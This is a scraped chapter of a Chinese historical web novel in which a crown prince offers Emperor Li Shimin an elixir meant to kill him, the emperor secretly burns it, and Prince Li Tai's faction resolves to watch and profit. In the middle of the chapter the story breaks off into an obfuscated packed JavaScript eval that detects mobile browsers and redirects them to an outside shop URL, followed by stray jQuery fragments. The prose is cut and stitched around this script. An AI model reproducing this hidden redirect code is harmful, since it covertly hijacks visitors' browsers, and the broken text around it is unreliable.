28. 灵丹妙药

作品:《父皇开门,我是你哥

    看见儿子毫不犹疑一口丹药就下肚了,连眼睛都没有眨一下,李世民吓得登的一下子坐起来。


    “你这是做什么?!”


    “阿耶。”李建成坦然说,“这仙丹自然是儿臣亲自服用过的……”


    ——我不吃,你敢吃么。


    “胡闹!”李世民斥责说,“怎么如此莽撞。”


    前些日子他确实已经让人寻访仙人,早年不信的东西,如今也觉有些恍惚了。


    在爱妻陵墓前,他说:“观音奴,你且多等一等,二郎不是这么早去找你,孩子们都还小呢。”


    就不说稚奴兕子他们了,就是承乾和青雀,也不过半大孩子,不能没有他在后头支撑着。


    “阿耶,您一定要保重身子,服用一些仙丹,确有延年益寿的功效。”


    两晋流行五石散,服用之后神思恍惚、飘飘欲仙,最后疯癫而亡的不在少数。


    看着盒子里面的朱红色的丹药,一时之间、李世民也不知道该说些什么好。


    他揉了揉眉心,他如今还不到四十岁,无论如何都不算老。


    可对着铜镜时,鬓边确实添了不少白发。


    当年骑马射箭,一日行军二百里从来不在话下。


    什么是疲惫,什么是劳累?不知道,根本不知道。


    那时,大哥还说他:“我们家二郎就是厉害啊。”


    如今呢,不能不服老了。


    只消稍微坐久了,腰背便隐隐作痛,到底是不如当年了。


    李建成神色恭敬肃然,趁他病、要他命。


    虽然这是丹药不是毒药,但巧了、他也是不信这东西的。


    至于他自己吃了……


    反正这身体是李承乾,到时候这父子俩一起服用丹药归西,他也痛快了。


    “阿耶回来了……大哥也来了……”


    李治蹦蹦跳跳过来,他反正是住在这里的,也没人拦着他。


    这小子看见盒子里面红红的,大概以为是糖,抓起来就要吃。


    李世民吓得赶紧一把夺过来:“胡闹,这不是你们小孩子吃的东西。”


    看见李治撅着嘴要哭,李世民看着又心疼了:“有蜜饯,还不给稚奴拿几个蜜饯吃。”


    对这个儿子,李世民并没有像对待太子和青雀那样培养他的文韬武略。


    其实就准备让他当个二世祖、享尽荣华富贵的王爷罢了。


    命好,就是没办法。


    小时候靠爹,中年靠哥哥,老了不管哪个侄子登基也得捧着这小皇叔。


    稚奴一手拿着一个蜜饯,桌上还摆了四五样果子。


    “大哥,这糖我什么时候才能吃?”


    “这不是糖。”李建成说,“至于什么时候才能吃,得阿耶说了算。”


    “可是大哥你吃了。”


    李建成看了李世民一眼,温言细语说:“大哥这是替阿耶尝一尝。”


    “那甜吗?好吃吗?”


    李建成低头不语,给稚奴嘴里塞了块糖,堵住这小子喋喋不休的小嘴巴。


    朱红的丹药还躺在玉盒当中,李建成想了想,还是问:“阿耶,您不服用吗?”


    李世民顿了顿,伸手从盒子里取出仙丹。


    丹药莹红如玉,他目光愈发深邃,李建成不敢再催促。就算这父子俩确有真感情,有些话也不能说。


    “夜深了,承乾回去吧,稚奴也回去。”


    他把丹药放回玉盒,合上盖子。


    李建成失望至极,看来老二这脑子还没有老糊涂。


    不过,如果非要往好处想的话,那就是、李世民果然并不是完全相信他的太子。


    不料李世民却说:“朕明日再服。”


    李建成跪安,转身。


    走到殿门口时,他忽然停住,回过头来。


    烛光在李世民脸上投下明暗交错的阴影,看起来、既不像他认识许多年的天策上将李世民,也不像他新认识的大唐帝王。


    他看起来,只觉得是一个陌生人。


    “父皇保重身体。”他说,“儿臣告退。”


    太子的衣袍消失在门后,脚步声渐渐远去。


    李世民斜靠在榻上,看着太子远去的方向,很久没有动。


    不知道他是累了,还是别的什么。


    殿中烛火跳动,晃的人心烦意乱。


    他把玉盒拿起来,打开取出那粒丹药,对着烛火看了很久。


    然后,他手一扬,直接把丹药投入香炉。


    “嗤”的一声轻响,炉中冒出一缕青烟。


    带着淡淡的药香,很快就消散在夜色里、无影无踪,仿佛从来没有来过。


    稚奴回去的时候,武才人已经给他铺好了床铺。


    “媚娘。”李治凑上去,笑嘻嘻说,“看看这蜜饯,是阿耶新带回来的……”


    武才人自然而然每样都吃了一点,还同他细细品评了一番。


    “媚娘,今日大哥带了红色的糖给阿耶,阿耶说我不能吃。”


    武才人想了想,就明白了。


    “那可不是糖,不好吃的,非但不甜,而且还苦的很。”


    稚奴诧异:“当真?”


    武才人不同他说笑了,一边剪烛一边说:“前两日你总说被褥冷,今日我亲自给你烘暖了,可不许半夜再说要我来了。”


    只留下一根烛光,颤悠悠的。


    *


    根本不必等到次日,当夜李泰就知道了。</


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17239313|196654||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    p>


    杜楚客说:“太子给陛下敬献了丹药——”


    李泰勃然大怒:“他这是要害死阿耶!”


    两人都义愤填膺,要说如今服丹和蔑视服丹的都大有人在。就是李唐皇室,信这一套的也不在少数。


    不过左右李泰不信。


    可两人再怎么怒气冲冲,却都没有冲进宫里,跪在陛下面前,让他不要被这些所谓“海外方士”所迷惑了。


    为什么?因为这明显就是送上门的机会啊。


    之前,韦楚客还“异想天开”,趁着陛下病重,李建成必然会原形毕露。


    看来他们和李建成想到一处了,如今他给陛下进献红丹,也是奔着这条路去的。


    他们若是挑破了,也未必就能让陛下真的信服。


    毕竟自打长孙皇后薨逝后,陛下是有些……


    他暗中让人寻访仙士,已经有朝臣劝阻了。


    二是,皇帝太子在宫里这样隐晦之事,他们是不应该知道的。现在若是阻拦陛下,不就此地无银三百两了。


    “殿下。”杜楚客说,“我们静观其变吧。”


    李泰点头:“那个刘应道,如何了?”


    “臣点拨了他几句,他是聪明人,定然是一点就通的。”


    人一旦有了怀疑,抽丝剥茧,没有真相挖不出来的,何况本来埋得就不深。


    李泰觉得很满意,事情都向他想的方向发展了。


    他低头啜了一口茶,忽然长长叹了口气。


    “父皇,阿耶……我……”


    可是,他如此坐视父皇陷入险境,不管是作为儿子还是作为臣子,可以说是不忠不孝。


    这么些年,阿耶对他确实是真心的。


    贞观六年,太子李承乾第一次监国,父皇就给他多封了五个封地。


    甚至明确说过,太子尚无子嗣,母弟次立。


    对父皇来说,手心手背都是肉,他们和稚奴,和丽质、兕子、城阳、衡山是一样的。


    其实到最后他不都知道,在父皇心中,到底有没有想过让他当太子?


    大哥,是阿耶的长子,多年的储君。


    稚奴,是最后的赢家,父皇选的太子。


    甚至在最后几年,阿耶到处征战,就是为了稚奴日后登基荡平四海,让他能当了安心地天子。


    只有他,争了这么多年,最后什么都没有。


    也许是他太心软了吧,大哥也不是狠心人,真想要自己的性命,有无数的机会。


    他捂住脸,掩面而泣。


    “殿下。”杜楚客知道他想的什么,“现在不是心慈手软的时候,一失足成千古恨。”


    李泰点了点头:“本王知道,就按山宾说的去做。”